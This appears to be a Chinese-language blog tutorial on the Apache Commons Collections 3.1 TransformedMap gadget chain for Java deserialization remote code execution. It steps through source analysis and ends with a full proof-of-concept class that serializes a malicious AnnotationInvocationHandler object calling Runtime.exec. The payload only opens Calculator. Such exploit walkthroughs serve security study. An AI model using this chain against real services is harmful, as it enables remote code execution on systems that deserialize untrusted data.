transform TransformedMap利用链

引入环境:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

首先看看通过反射调用命令执行的poc

public static void test01() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
        Object runtime=Class.forName("java.lang.Runtime")
                .getMethod("getRuntime",new Class[]{})
                .invoke(null);

        Class.forName("java.lang.Runtime")
                .getMethod("exec", String.class)
                .invoke(runtime,"open /System/Applications/Calculator.app");
    }

这种方式的调用流程如下

1、首选通过类名进行反射

Class<?> cF = Class.forName("com.example.deviceinfodemo.ForNameClass");

2、接着,实例化该类

forNameClass = (ForNameClass) cF.newInstance();

3、最后就是获取非静态方法,并通过invoke调用该方法,invoke参数为实例化对象和目标方法参数

Method aMethod = cF.getMethod("get", String.class);
aMethod.invoke(forNameClass, "str arg");

对于静态方法,则不需要实例化对象:

Class<?> cF = Class.forName("com.example.deviceinfodemo.ForNameClass");
Method staticMethod = cF.getMethod("staticMethod");
staticMethod.invoke("str arg");

InvokerTransformer反射链

先看一下如何使用InvokerTransformer实现反射链

    public static void transformChaim(){
        InvokerTransformer tran = new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},
                new Object[]{"getRuntime", null});
        Method method = (Method) tran.transform(Runtime.class);

        InvokerTransformer tran2 = new InvokerTransformer("invoke",
                new Class[]{Object.class, Object[].class},
                new Object[]{null, null});
        Runtime run = (Runtime) tran2.transform(method);

        InvokerTransformer tran3 = new InvokerTransformer("exec",
                new Class[]{String.class},
                new Object[]{"open /System/Applications/Calculator.app"});
        System.out.println(tran3.transform(run).toString());
    }

来看看InvokerTransformer类为什么能做这些,如下代码所示,首先InvokerTransformer通过构造函数对相应值进行赋值,然后通过transform函数实现反射调用

// InvokerTransformer源码
	public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

ChainedTransformer反射链

先上poc:

public static void myChainedTransformer(){
        ChainedTransformer chain = null;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})};
        chain = new ChainedTransformer(transformers);
        chain.transform(Object.class);
    }

分析一下ChainedTransformer,首先通过构造函数获取数组transformers,然后调用transform函数,该函数会循环获取数组transformers中的值,通过调用transform来实现真正的反射调用。

// ChainedTransformer源码
	public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

TransformedMap反射链

前面的代码最后都直接调用了transform函数,来看一个不直接调用的(间接调用),TransformedMap类符合这个条件:

    public static void  myTransformedMap(){
        ChainedTransformer chained = null;
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})};
        chained = new ChainedTransformer(transformers);
        Map m = new HashMap();
        m.put("key", "value"); // 参数不重要,剧情需要
        Map map = TransformedMap.decorate(m,null,chained);
        Map.Entry entry = (Map.Entry) map.entrySet().iterator().next(); // 转换为集合类型,并通过迭代器获取第一组值
        entry.setValue(Object.class); // 参数不重要,剧情需要
    }

来分析一下TransformedMap源码

decorate函数主要起到赋值作用

// TransformedMap源码
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

    protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }

跟进setValue函数,发现调用了checkSetValue函数,跟进

        public Object setValue(Object value) {
            value = this.parent.checkSetValue(value);
            return super.entry.setValue(value);
        }

然后就发现了transform函数,继续跟进:

    protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
    }

然后就跟ChainedTransformer反射链一样了:

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

例子🌰

这里举一个使用这个链和java反序列化实现rce的栗子。

如果一个java应用没有对传入的序列化数据进行安全检查,我们可以将恶意的TransformedMap反射链序列化后,远程提交给相关应用,通过某些操作进行触发执行。

在进行反序列化时候,通常会调用ObjectInputStrem类的readObject函数,如果恶意类重写了readObject函数,那么该类进行反序列化时,java会主动调用readObject方法。

因此如果某个可序列化的类重写了readObject方法,并且在readObject中对map类型的变量进行了键值修改操作,并且这个map变量可控,就可以作为我们TransformedMap反射链的攻击载体了。

于是找到了sun.reflect.annotation.AnnotationInvocationHandler类,它的readobject函数如下:

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Entry var5 = (Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }

poc如下,该poc需要较老的jdk版本才能用,不用过多实践,这里只是作为一个例子说明:

package classLoaderTest;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.io.output.ByteArrayOutputStream;


import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.Map;

public class CommonCollectionsPlayLoad {

    public static void main(String[] args) throws Exception {
        new CommonCollectionsPlayLoad().run();
    }

    public void run() throws Exception {
        deserialize(serialize(getObject()));
    }

    //在此方法中返回恶意对象
    public Object getObject() throws Exception {
        //构建恶意代码
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})};
        Transformer transformer=new ChainedTransformer(transformers);

        //将恶意代码包装到目标的 sun.reflect.annotation.AnnotationInvocationHandler 中
        /**
         * 构建一个 transformedMap ,
         * transformedMap的作用是包装一个Map对象,使得每一次在该Map中的Entry进行setValue的时候
         * 都会触发 transformer的transform()方法
         * */
        Map transformedMap=TransformedMap.decorate(new HashedMap(),null,transformer);
        //由于AnnotationInvocationHandler无法直接访问,因此使用反射的方式来构建对象
        final Constructor<?> constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
        constructor.setAccessible(true);
        return constructor.newInstance(Override.class, transformedMap);
    }

    public byte[] serialize(final Object obj) throws IOException {
        ByteArrayOutputStream out = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(out);
        objOut.writeObject(obj);
        return out.toByteArray();
    }

    public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
        ByteArrayInputStream in = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(in);
        return objIn.readObject();
    }
}

参考:
https://www.freebuf.com/vuls/170344.html

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值